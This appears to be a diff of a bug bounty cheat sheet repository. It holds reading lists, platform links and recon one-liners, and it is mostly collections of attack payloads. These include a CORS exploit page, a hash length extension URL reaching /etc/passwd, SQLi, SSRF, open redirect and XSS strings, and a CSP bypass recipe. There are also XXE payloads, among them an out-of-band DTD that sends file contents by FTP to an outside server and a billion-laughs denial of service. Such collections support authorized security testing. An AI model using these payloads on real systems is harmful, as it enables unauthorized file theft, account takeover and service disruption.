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# Bug Bounty Cheat Sheet
# Bug Bounty Cheat Sheet</h1>
- [Bug Bounty Platforms](cheatsheets/bugbountyplatforms.md)
- [Books](cheatsheets/books.md)
- [Special Tools](cheatsheets/special-tools.md)
- [Recon](cheatsheets/recon.md)
- [Practice Platforms](cheatsheets/practice-platforms.md)
- [XSS](cheatsheets/xss.md)
- [SQLI](cheatsheets/sqli.md)
- [SSRF](cheatsheets/ssrf.md)
- [CRLF Injection || HTTP Response Splitting](cheatsheets/crlf.md)
- [CSV Injection](cheatsheets/csv-injection.md)
- [LFI](cheatsheets/lfi.md)
- [XXE](cheatsheets/xxe.md)
- [RCE](cheatsheets/rce.md)
- [Open Redirect](cheatsheets/open-redirect.md)
- [Crypto](cheatsheets/crypto.md)
- [Template Injection](cheatsheets/template-injection.md)
- [Content Injection](cheatsheets/content-injection.md)
- [XSLT Injection](cheatsheets/xslt.md)
| 📚 Reference | 🔎 Vulnerabilities |
|-------------------------------------------------------------|-----------------------------------------------------------|
| [Bug Bounty Platforms](cheatsheets/bugbountyplatforms.md) | [XSS](cheatsheets/xss.md) |
| [Books](cheatsheets/books.md) | [SQLi](cheatsheets/sqli.md) |
| [Special Tools](cheatsheets/special-tools.md) | [SSRF](cheatsheets/ssrf.md) |
| [Recon](cheatsheets/recon.md) | [CRLF Injection](cheatsheets/crlf.md) |
| [Practice Platforms](cheatsheets/practice-platforms.md) | [CSV Injection](cheatsheets/csv-injection.md) |
| [Bug Bounty Tips](cheatsheets/bugbountytips.md) | [LFI](cheatsheets/lfi.md) |
| | [XXE](cheatsheets/xxe.md) |
| | [RCE](cheatsheets/rce.md) |
| | [Open Redirect](cheatsheets/open-redirect.md) |
| | [Crypto](cheatsheets/crypto.md) |
| | [Template Injection](cheatsheets/template-injection.md) |
| | [Content Injection](cheatsheets/content-injection.md) |
| | [XSLT Injection](cheatsheets/xslt.md) |
# Contributing
@ -37,7 +34,7 @@ Use the GitHub issue search — check if the issue has already been reported.
# Style Guide
We like to keep our Markdown files as uniform as possible. So if you submit a PR make sure to follow this style guide (We will not be angry if you do not.)
We like to keep our Markdown files as uniform as possible. So if you submit a PR, make sure to follow this style guide (we will not be angry if you do not).
- Cheat sheet titles should start with `##`.
- Subheadings should be made bold. (`**Subheading**`)

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**Cryptography**
- [Crypto 101](https://www.crypto101.io/) by Laurens Van Houtven.
**Penetration Testing**
- [The Art of Exploitation by Jon Erickson, 2008](https://www.nostarch.com/hacking2.htm)
- [Metasploit: The Penetration Tester's Guide by David Kennedy et al., 2011](https://www.nostarch.com/metasploit)
- [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman, 2014](https://www.nostarch.com/pentesting)
- [Rtfm: Red Team Field Manual by Ben Clark, 2014](http://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504/)
- [The Hacker Playbook by Peter Kim, 2014](http://www.amazon.com/The-Hacker-Playbook-Practical-Penetration/dp/1494932636/)
- [The Basics of Hacking and Penetration Testing by Patrick Engebretson, 2013](https://www.elsevier.com/books/the-basics-of-hacking-and-penetration-testing/engebretson/978-1-59749-655-1)
- [Professional Penetration Testing by Thomas Wilhelm, 2013](https://www.elsevier.com/books/professional-penetration-testing/wilhelm/978-1-59749-993-4)
- [Advanced Penetration Testing for Highly-Secured Environments by Lee Allen, 2012](http://www.packtpub.com/networking-and-servers/advanced-penetration-testing-highly-secured-environments-ultimate-security-gu)
- [Violent Python by TJ O'Connor, 2012](https://www.elsevier.com/books/violent-python/unknown/978-1-59749-957-6)
- [Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton et al., 2007](http://www.fuzzing.org/)
- [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz, 2014](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
- [Penetration Testing: Procedures & Methodologies by EC-Council, 2010](http://www.amazon.com/Penetration-Testing-Procedures-Methodologies-EC-Council/dp/1435483677)
- [Unauthorised Access: Physical Penetration Testing For IT Security Teams by Wil Allsopp, 2010](http://www.amazon.com/Unauthorised-Access-Physical-Penetration-Security-ebook/dp/B005DIAPKE)
- [Advanced Persistent Threat Hacking: The Art and Science of Hacking Any Organization by Tyler Wrightson, 2014](http://www.amazon.com/Advanced-Persistent-Threat-Hacking-Organization/dp/0071828362)
- [Bug Hunter's Diary by Tobias Klein, 2011](https://www.nostarch.com/bughunter)
- [Advanced Penetration Testing by Wil Allsopp, 2017](https://www.amazon.com/Advanced-Penetration-Testing-Hacking-Networks/dp/1119367689/)

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@ -7,6 +7,7 @@
- [BountyFactory](https://bountyfactory.io/)
- [Intigriti](https://intigriti.be/)
- [Bugbountyjp](https://bugbounty.jp/)
- [Safehats](https://safehats.com/)
- [BugbountyHQ](https://www.bugbountyhq.com/)
- [Hackerhive](https://hackerhive.io/)
- [Hackenproof](https://hackenproof.com/)

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## Bug Bounty Tips
**Tip #1**
Use GIT as a recon tool. Find the target's GIT repositories, clone them, and then check the logs for information on the team not necessarily in the source code. Say the target is Reddit and I want to see which developers work on certain projects.
[Link](https://gist.github.com/EdOverflow/a9aad69a690d97a8da20cd4194ca6596 )
**Tip #2**
Look for GitLab instances on targets or belonging to the target. When you stumble across the GitLab login panel, navigate to `/explore`. Misconfigured instances do not require authentication to view the internal projects. Once you get in, use the search function to find passwords, keys, etc. This is a pretty big attack vector and I am finally revealing it today, because I am sure it will help a lot of you get some critical issues.
**Tip #3**
Bug bounty tip: test applications of a company that costs money or requires manual setup. Chances are only few to none would have tested it leaving it vulnerable.
**Tip #4**
If you’ve found an IDOR where you’re able to change data of others then don’t jump out of your seat to report it > modify it to XSS payload & if inputs are not sanitized & variables are echo’d without getting escaped then IDOR>XSS>ATO.
**Tip #5**
Look for *hackathon-related* assets. What I mean by this is sometimes companies run hackathons and give attendees special access to certain API endpoints and/or temporary credentials. I have found GIT instances that were set up for Hackathons full of information that allowed me to find more issues in the target several times.
**Tip #6**
Keep all your directory brute force results so when a CVE like Drupalgeddon2 comes out, you can look for previously found instances (cat dirsearch/reports/*/* | grep INSTALL.mysql.txt | grep 200 | less)/

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## Cross Origin Resource Sharing (CORS)
Testing:
`curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'`
Check to see what the server responds with in the `Access-Control-Allow-Origin:` (if anything) and if so, check if `Access-Control-Allow-Credentials: true` is present.
If it is trusting arbitrary origins **with** allow-credentials set to true, then host this HTML as a proof of concept.
```
<!DOCTYPE html>
<html>
<head><title>BugBounty CheatSheet</title></head>
<body>
<center>
<h2>CORs POC</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://example.com/api/v1/topsecret", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
```

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cheatsheets/crypto.md
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@ -47,3 +47,31 @@
```
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345
```
**Length extension attack**
In cryptography and computer security, a length extension attack is a type of attack where an attacker can use `Hash(message1)` and the length of `message1` to calculate `Hash(message1 ∥ message2)` for an attacker-controlled `message2`.
In Summary: Given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.
An example:
```
http://example.com/download?file=report.pdf&mac=563162c9c71a17367d44c165b84b85ab59d036f9
```
```
http://example.com/download?file=report.pdf%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%A8/../../../../../../../etc/passwd&mac=ee40aa8ec0cfafb7e2ec4de20943b673968857a5
```
A related HackerOne report: https://hackerone.com/reports/251572
Tool to extend a hash: https://github.com/iagox86/hash_extender
More details about the attack:
https://www.whitehatsec.com/blog/hash-length-extension-attacks/
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

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cheatsheets/lfi.md
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@ -35,3 +35,10 @@ _Steps to reproduce_
5. Play the uploaded AVI via the target site. If successful, your desired file will be disclosed within the video.
Alternative scripts exist which may generate different HLS formats or lead to the desired file being disclosed in a different manner.
**Blogs**
* http://pastie.org/840199
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
* http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/?utm_source=twitterfeed&utm_medium=twitter
* http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/
* http://www.digininja.org/blog/when_all_you_can_do_is_read.php

140
cheatsheets/open-redirect.md
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@ -24,7 +24,147 @@
//google.com/%2f..
```
```
//\google.com
```
```
/\victim.com:80%40google.com
```
## Possible open redirect parameters
```
?url=http://{target}
```
```
?url=https://{target}
```
```
?next=http://{target}
```
```
?next=https://{target}
```
```
?url=https://{target}
```
```
?url=http://{target}
```
```
?url=//{target}
```
```
?url=$2f%2f{target}
```
```
?next=//{target}
```
```
?next=$2f%2f{target}
```
```
?url=//{target}
```
```
?url=$2f%2f{target}
```
```
?url=//{target}
```
```
/redirect/{target}
```
```
/cgi-bin/redirect.cgi?{target}
```
```
/out/{target}
```
```
/out?{target}
```
```
/out?/{target}
```
```
/out?//{target}
```
```
/out?/\{target}
```
```
/out?///{target}
```
```
?view={target}
```
```
?view=/{target}
```
```
?view=//{target}
```
```
?view=/\{target}
```
```
?view=///{target}
```
```
/login?to={target}
```
```
/login?to=/{target}
```
```
/login?to=//{target}
```
```
/login?to=/\{target}
```
```
/login?to=///{target}
```
**Open Redirect Payloads** by @cujanovic
https://github.com/cujanovic/Open-Redirect-Payloads
**Open Redirect Paramters** by @fuzzdb-project
https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/redirect/redirect-urls-template.txt

2
cheatsheets/practice-platforms.md
View file

@ -11,3 +11,5 @@
- [OWASP Juice Shop](http://juice-shop.herokuapp.com/)
- [Hack Yourself First](http://hackyourselffirst.troyhunt.com/)
- [flAWS Cloud](http://flaws.cloud/)
- [bWAPP](http://www.itsecgames.com/)
- [OWASP Mutillidae] (https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project)

15
cheatsheets/recon.md
View file

@ -21,3 +21,18 @@ This runs [Sublist3r](https://github.com/aboul3la/Sublist3r) on a list of domain
```
apktool d app.apk; cd app;mkdir collection; find . -name \*.smali -exec sh -c "cp {} collection/\$(head /dev/urandom | md5 | cut -d' ' -f1).smali" \;; linkfinder -i 'collection/*.smali' -o cli
```
# [Aquatone](https://github.com/michenriksen/aquatone/) One-liner
```
$ echo "aquatone-discover -d \$1 && aquatone-scan -d \$1 --ports huge && aquatone-takeover -d \$1 && aquatone-gather -d \$1" >> aqua.sh && chmod +x aqua.sh
$./aqua.sh domain.com
```
# [relative-url-extractor](https://github.com/jobertabma/relative-url-extractor)
```
$ ruby extract.rb demo-file.js
$ ruby extract.rb https://hackerone.com/some-file.js
$ ruby extract.rb '|cat demo-file.js' -c
```

2
cheatsheets/special-tools.md
View file

@ -31,6 +31,8 @@ otherapp.10.0.0.1.nip.io
**Reconnaissance**
- https://dnsdumpster.com (DNS and subdomain recon)
- [Reverse IP Lookup](http://reverseip.domaintools.com/) (Domainmonitor)
- [Security headers](https://securityheaders.io/) (Security Report, missing headers)
- http://threatcrowd.org (WHOIS, DNS, email, and subdomain recon)
- https://mxtoolbox.com (wide range of DNS-related recon tools)
- https://publicwww.com/ (Source Code Search Engine)

26
cheatsheets/sqli.md
View file

@ -12,4 +12,28 @@ Final example:
```sql
444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#
```
```
**Blogs**
* http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/
* http://isc.sans.edu/diary.html?storyid=9397
* http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* http://www.evilsql.com/main/index.php
* http://xd-blog.com.ar/descargas/manuales/bugs/full-mssql-injection-pwnage.html
* http://securityoverride.com/articles.php?article_id=1&article=The_Complete_Guide_to_SQL_Injections
* http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/
* http://sqlzoo.net/hack/
* http://www.sqlteam.com/article/sql-server-versions
* http://www.krazl.com/blog/?p=3
* http://www.owasp.org/index.php/Testing_for_MS_Access
* http://web.archive.org/web/20101112061524/http://seclists.org/pen-test/2003/May/0074.html
* http://web.archive.org/web/20080822123152/http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html
* http://www.youtube.com/watch?v=WkHkryIoLD0
* http://layerone.info/archives/2009/Joe%20McCray%20-%20Advanced%20SQL%20Injection%20-%20L1%202009.pdf
* http://vimeo.com/3418947
* http://sla.ckers.org/forum/read.php?24,33903
* http://websec.files.wordpress.com/2010/11/sqli2.pdf
* http://old.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
* http://ha.ckers.org/sqlinjection/
* http://lab.mediaservice.net/notes_more.php?id=MSSQL

4
cheatsheets/ssrf.md
View file

@ -8,6 +8,10 @@ http://0177.1/
http://0x7f.1/
```
```
http://127.000.000.1
```
```
https://520968996
```

39
cheatsheets/xss.md
View file

@ -95,13 +95,17 @@ javas&#x09;cript://www.google.com/%0Aalert(1)
**Markdown XSS**
```md
[a](javascript:confirm(1)
[a](javascript:confirm(1))
```
```md
[a](javascript://www.google.com%0Aprompt(1))
```
```md
[a](javascript://%0d%0aconfirm(1))
```
```md
[a](javascript://%0d%0aconfirm(1);com)
```
@ -110,6 +114,15 @@ javas&#x09;cript://www.google.com/%0Aalert(1)
[a](javascript:window.onerror=confirm;throw%201)
```
```md
[a]: (javascript:prompt(1))
```
```md
[a]:(javascript:alert(1)) //Add SOH Character
```
**Flash SWF XSS**
- ZeroClipboard: `ZeroClipboard.swf?id=\"))}catch(e){confirm(/XSS./.source);}//&width=500&height=500&.swf`
@ -138,9 +151,11 @@ javas&#x09;cript://www.google.com/%0Aalert(1)
- SWFUpload 2.2.0.1: `swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!confirm(1);//`
- Uploadify (legacy): `uploadify.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;confirm(%27XSS%27)}}//&.swf`
- FlowPlayer 3.2.7: `flowplayer-3.2.7.swf?config={"clip":{"url":"http://edge.flowplayer.org/bauhaus.mp4","linkUrl":"JavaScriPt:confirm(document.domain)"}}&.swf`
_Note: Useful reference on constructing Flash-based XSS payloads from [MWR Labs](https://labs.mwrinfosecurity.com/blog/popping-alert1-in-flash/)._
_Note: Useful reference on constructing Flash-based XSS payloads available at [MWR Labs](https://labs.mwrinfosecurity.com/blog/popping-alert1-in-flash/)._
**Lightweight Markup Languages**
@ -167,7 +182,7 @@ __ javascript:alert(document.domain)
**Unicode characters**
```html
†‡•＜img src=a onerror=javascript:alert('hacked')>…‰€
†‡•＜img src=a onerror=javascript:alert('test')>…‰€
```
**AngularJS Template Injection based XSS**
@ -300,3 +315,21 @@ __ javascript:alert(document.domain)
```js
{{constructor.constructor('alert(1)')()}}
```
**Content Security Policy (CSP) bypass via JSONP endpoints**
Grab the target's CSP:
```
curl -I http://example.com | grep 'Content-Security-Policy'
```
Either paste the CSP into https://csp-evaluator.withgoogle.com/ or just submit the target's address into the "Content Security Policy" field. The CSP Evaluator will notify you if one of the whitelisted domains has JSONP endpoints.
![image](https://user-images.githubusercontent.com/18099289/32136707-a1c12510-bc12-11e7-8a80-8a22b3e94232.png)
Now we can use a Google dork to find some JSONP endpoints on the domains listed above.
```
site:example.com inurl:callback
```

36
cheatsheets/xxe.md
View file

@ -1,4 +1,5 @@
**LFI Test**
```
<?xml version="1.0"?>
<!DOCTYPE foo [
@ -7,6 +8,7 @@
```
**Blind LFI test (when first case doesn't return anything)**
```
<?xml version="1.0"?>
<!DOCTYPE foo [
@ -16,6 +18,7 @@
```
**Access Control bypass (loading restricted resources - PHP example)**
```
<?xml version="1.0"?>
<!DOCTYPE foo [
@ -24,6 +27,7 @@
```
**SSRF Test**
```
<?xml version="1.0"?>
<!DOCTYPE foo [
@ -32,6 +36,7 @@
```
**XEE (XML Entity Expansion - DOS)**
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
@ -51,9 +56,40 @@
```
**XEE #2 (Remote attack - through external xml inclusion)**
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
```
**XXE FTP HTTP Server**
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
```
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>
File stored on http://publicServer.com/parameterEntity_sendftp.dtd
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
```
**XXE UTF-7**
```
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
To convert between UTF-8 & UTF-7 use recode.
`recode UTF8..UTF7 payload-file.xml`